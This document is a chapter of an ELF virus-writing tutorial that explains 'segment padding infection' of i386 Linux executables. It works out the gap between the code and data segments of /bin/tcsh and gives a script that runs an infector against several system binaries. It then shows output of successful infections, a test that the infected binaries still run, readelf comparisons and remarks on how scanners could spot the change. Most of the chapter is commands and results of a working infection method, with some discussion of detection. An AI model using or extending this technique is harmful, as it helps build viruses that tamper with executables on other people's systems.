Segment padding infection

The ELF Virus Writing HOWTO: i386-redhat8.0-linux
Prev |  | Next

# 8. Segment padding infection

| Don't be too proud of this technological terror you've constructed. The ability to destroy a planet is insignificant next to the power of the Force.
| Darth Vader

Another interesting thing in the output of Segments of /bin/tcsh is the distance between the two LOAD segments:

> `VirtAddr`[2] - `VirtAddr`[1] - `MemSiz`[1] = 0x8092360 - 0x8048000 - 0x49358 = 0x1008 = 4104 bytes

> `Offset`[2] - `Offset`[1] - `FileSiz`[1] = 0x49360 - 0x0 - 0x49358 = 0x8 = 8 bytes

Only 8 bytes (0x8) would be needed to align the first LOAD segment up to the alignment of 0x1000. For some reason at least one complete page lies between code segment and data segment. Is this gap target for a virus? Well, that depends. See Segment padding infection (i) for a general introduction. Anyway, the interesting thing in the output below is the value of `_SC_PAGESIZE`. We can fill the gap only in chunks of that size.

Output: out/i386-redhat8.0-linux/segment_padding/sysconf

    _SC_CLK_TCK=100
    _SC_VERSION=199506
    _SC_PAGESIZE=4096
    _SC_PHYS_PAGES=32000
    _SC_AVPHYS_PAGES=1554

## 8.1. Off we go

We found a peculiarity. We verified its existence at Scan segments. We have a basic framework at One step closer to the edge (i) and implemented the specific infection method at Segment padding infection (i). The code to insert is at Infection #1. Time to let them all play together; using the script at cc.sh (i).

Output: out/i386-redhat8.0-linux/segment_padding/e1i1/cc

    src/one_step_closer/get_seg.inc:6: warning: `phdr_data' might be used
    uninitialized in this function

Now we know that the output of the compiler is alright and the infector was built. So off we go. The list of target executables was gathered in Food for segment padding.

Command: pre/i386-redhat8.0-linux/one_step_closer/infect.sh

    #!/bin/bash
    project=${1:-one_step_closer}
    entry_addr=${2:-e1}
    infection=${3:-i1}
    scanner=${4:-segment_padding}

    ( cd tmp/i386-redhat8.0-linux/${project}/${entry_addr}${infection} \
    	&& ./infector ) \
    < out/i386-redhat8.0-linux/scanner/${scanner}/infect

Output: out/i386-redhat8.0-linux/segment_padding/e1i1/infect

    /bin/tcsh ... wrote 26 bytes, Ok
    /bin/ash.static ... wrote 26 bytes, Ok
    /bin/sync ... wrote 26 bytes, Ok
    files=3; ok=3; failed=0

A simple shell script will do as test.

Output = Command: out/i386-redhat8.0-linux/segment_padding/test-e1i1.sh

    #!tmp/i386-redhat8.0-linux/segment_padding/e1i1/tcsh_infected
    echo "pid=[$$]"
    cd tmp/i386-redhat8.0-linux/segment_padding/e1i1
    echo "TERM=[$TERM]"
    ./ash.static_infected -c 'echo $$'
    ./sync_infected

    echo "---"
    /bin/cat tcsh_infected > strip_tcsh_infected \
    && /usr/bin/strip strip_tcsh_infected \
    && /bin/chmod 755 strip_tcsh_infected \
    && ./strip_tcsh_infected -c 'echo $$'

Output: out/i386-redhat8.0-linux/segment_padding/test-e1i1

    ELFpid=[22314]
    TERM=[xterm]
    ELF22339
    ELF---
    ELF22344

The Force is strong with this one. [1]

## 8.2. Magnifying glass

After emotions cooled down a bit we can examine the infected executable and compare it with the original.

Command: pre/i386-redhat8.0-linux/segment_padding/readelf.sh

    #!/bin/bash
    shell=$( /bin/sed 1q \
    	out/i386-redhat8.0-linux/scanner/segment_padding/infect )
    [ -x "${shell}" ] || exit 1
    cd tmp/i386-redhat8.0-linux/segment_padding/e1i1 || exit 2
    infected=${shell##*/}_infected

    /bin/ls -l ${infected}
    /bin/ls -l strip_${infected}
    /bin/ls -l ${shell}
    /usr/bin/readelf -l ${infected}

Output: out/i386-redhat8.0-linux/segment_padding/readelf

    -rwxrwxr-x    1 alba     alba       369528 Feb 15 23:49 tcsh_infected
    -rwxr-xr-x    1 alba     alba       323836 Feb 15 23:49 strip_tcsh_infected
    -rwxr-xr-x    1 root     root       365432 Aug  8  2002 /bin/tcsh

    Elf file type is EXEC (Executable file)
    Entry point 0x8091360
    There are 7 program headers, starting at offset 52

    Program Headers:
      Type           Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align
      PHDR           0x000034 0x08048034 0x08048034 0x000e0 0x000e0 R E 0x4
      INTERP         0x000114 0x08048114 0x08048114 0x00013 0x00013 R   0x1
          [Requesting program interpreter: /lib/ld-linux.so.2]
      LOAD           0x000000 0x08048000 0x08048000 0x4a358 0x4a358 R E 0x1000
      LOAD           0x04a360 0x08092360 0x08092360 0x03a30 0x33b40 RW  0x1000
      DYNAMIC        0x04daac 0x08095aac 0x08095aac 0x000d8 0x000d8 RW  0x4
      NOTE           0x000128 0x08048128 0x08048128 0x00020 0x00020 R   0x4
      GNU_EH_FRAME   0x04930c 0x0809130c 0x0809130c 0x0004c 0x0004c R   0x4

     Section to Segment mapping:
      Segment Sections...
       00
       01     .interp
       02     .interp .note.ABI-tag .hash .dynsym .dynstr .gnu.version .gnu.version_r .rel.dyn .rel.plt .init .plt .text .fini .rodata .eh_frame_hdr
       03     .data .eh_frame .dynamic .ctors .dtors .jcr .got .bss
       04     .dynamic
       05     .note.ABI-tag
       06

File size and code segment have grown as expected. Data segment and `DYNAMIC` segment moved accordingly:

> infected.file_size - original.file_size = 369528 - 365432 4096 = 0x1000

> infected.`LOAD`[1].`FileSiz` - sh.`LOAD`[1].`FileSiz` = 0x4a358 - 0x49358 = 0x1000

> infected.`LOAD`[2].`Offset` - sh.`LOAD`[2].`Offset` = 0x4a360 - 0x49360 = 0x1000

> infected.`DYNAMIC`.`Offset` - sh.`DYNAMIC`.`Offset` = 0x4daac - 0x4caac = 0x1000

And the new distance between the LOAD segments:

> `VirtAddr`[2] - `VirtAddr`[1] - `MemSiz`[1] = 0x8092360 - 0x8048000 - 0x4a358 = 0x8 = 8 bytes

> `Offset`[2] - `Offset`[1] - `FileSiz`[1] = 0x4a360 - 0x0 - 0x4a358 = 0x8 = 8 bytes

## 8.3. First scan

The small output of Scan segments includes the executable from last chapter. But for clarity we repeat the exercise.

Command: pre/i386-redhat8.0-linux/segment_padding/scan_segment.sh

    #!/bin/bash
    TEVWH_TMP=tmp/i386-redhat8.0-linux
    export TEVWH_TMP
    shell=$( /bin/sed 1q \
    	out/i386-redhat8.0-linux/scanner/segment_padding/infect )
    [ -x "${shell}" ] || exit 1
    /bin/echo "${shell}
    tmp/i386-redhat8.0-linux/one_step_closer/e1i1/${shell##*/}_infected" \
    | tmp/i386-redhat8.0-linux/scanner/segment_padding

Output: out/i386-redhat8.0-linux/segment_padding/scan

    /bin/tcsh ... delta=0x1008, Ok
    (2) No such file or directory
    CHECK: one_step_closer/e1i1/tcsh_infected
    CHECK: src/one_step_closer/open_src.inc#9
    CHECK: (0) <= (t->fd_src = open(t->src_file, 00))
    CHECK: 0 <= -1; 0 <= 0xffffffff
    files=2; ok=1; det_page=1; det_align=0; min=0x1008; max=0x1008

This is like playing chess against oneself, and losing. Can't do much about it, though.

## 8.4. Second scan

The value of `Entry point` changed dramatically. In the original it is in the first part of the file:

> entry_point_m/additional.cs.xml = 0x804a130 - 0x8048000 = 0x2130 = 8496 bytes.

The infected copy moved that to less than `1000` bytes from the end of the code segment.

> entry_point_ofs = 0x8091360 - 0x8048000 = 0x49360 = 299872 bytes.

> end_of_LOAD1 = 0x8048000 + 0x4a358 = 0x8092358

> entry_point_distance_to_end = 0x8092358 - 0x8091360 = 0xff8 = 4088

This alone is an easy vulnerability to scanners. But then since Scan entry point we know for sure that with regular executables the entry point equals the start of section `.text`.

### Notes

[1] | Admittedly, it is not strip-safe on SunOS. But I call that room for improvement.

Prev | Home | Next
Scanners |  | Additional code segments